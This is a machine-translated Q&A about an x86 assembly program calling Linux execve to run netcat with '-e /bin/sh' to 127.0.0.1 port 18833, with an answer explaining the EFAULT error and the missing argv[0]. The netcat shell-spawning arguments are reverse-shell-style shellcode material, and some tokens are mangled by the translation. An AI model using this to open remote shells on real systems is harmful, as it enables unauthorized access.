2017-03-08 42 views
0

我正在編寫一個彙編程序,需要打電話給netcat並通過互聯網執行程序。Linux Sys_execve將不會在程序集中運行

據我所知,對於execve命令,您將EBX寄存器指向要運行的程序,並在最後以空字節結束以終止。您將ECX寄存器指向由空字節分隔的參數,並在參數列表的末尾添加2個空字節。你只需將EDX設置爲一堆空字節。

在我的命令int0x80執行命令我註冊這個樣子:

EAX:11 #system致電
EBX:0x0783140#/斌// NC
ECX:0x078314a #args
EDX: 0x07831a4 #ENV

這裏的所述存儲器中的0x0783140以ASCII值:

[空字節] = 0×00

/bin中// NC [空字節] 127.0.0.1 [空字節] 18833 [空字節] -e [空字節]/bin/sh的[空字節] [空字節]

EBX指向「/斌// NC」
ECX指向‘127.0.0.1’
RDX只是點了一堆空字節

該計劃將獲得爲int 0x80的電話,但它會立即返回,並在把0xfffffff2 EAX寄存器。

任何幫助將是偉大的。

編輯:謝謝ephemient我現在能夠實際運行netcat,但不知何故,我認爲我的args沒有被程序正確讀取。我認爲這是因爲netcat運行,但立即退出並退出代碼1,並沒有建立連接到我的聽衆。

ECX現在指向該內存(請注意,我把對可讀性地址之間的空間,但他們並不在我的計劃存在):

0x78315e 0x783168 0x78316e 0x783171 0x00000000 

0x78315e => 127.0.0.1[Null Byte] 
0x783168 => 18833[Null Byte] 
0x78316e => -e[Null Byte] 
0x783171 => /root/myprogram[Null Byte] 

我有四重檢查,該地址實際上指向askii值超過

回答

1

您得到errno=EFAULT(0xfffffff2 = -14,14 = EFAULT),表明您正在向系統調用傳遞錯誤的地址。

SYS_execve接受3個參數,但第二和第三個指針的NULL結尾的陣列參數/環境字符串,NUL分隔部件的不是一個單一的字符串。將字符串解釋爲指針數組意味着字符串的前4個字節被解釋爲第一個字符串的地址,但它不是有效地址,因此是EFAULT。

SYSCALL_DEFINE3(execve, 
       const char __user *, filename, 
       const char __user *const __user *, argv, 
       const char __user *const __user *, envp) 
+0

感謝這麼多,那解決的netcat的問題沒有運行,但現在的ARG遊戲沒有被正確讀取。任何進一步的幫助,你可以提供將不勝感激 –

+0

@HansDonkersloot它看起來像你缺少argv [0]。這通常是二進制文件的文件名。它應該在其餘的論點之前出現。 – ephemient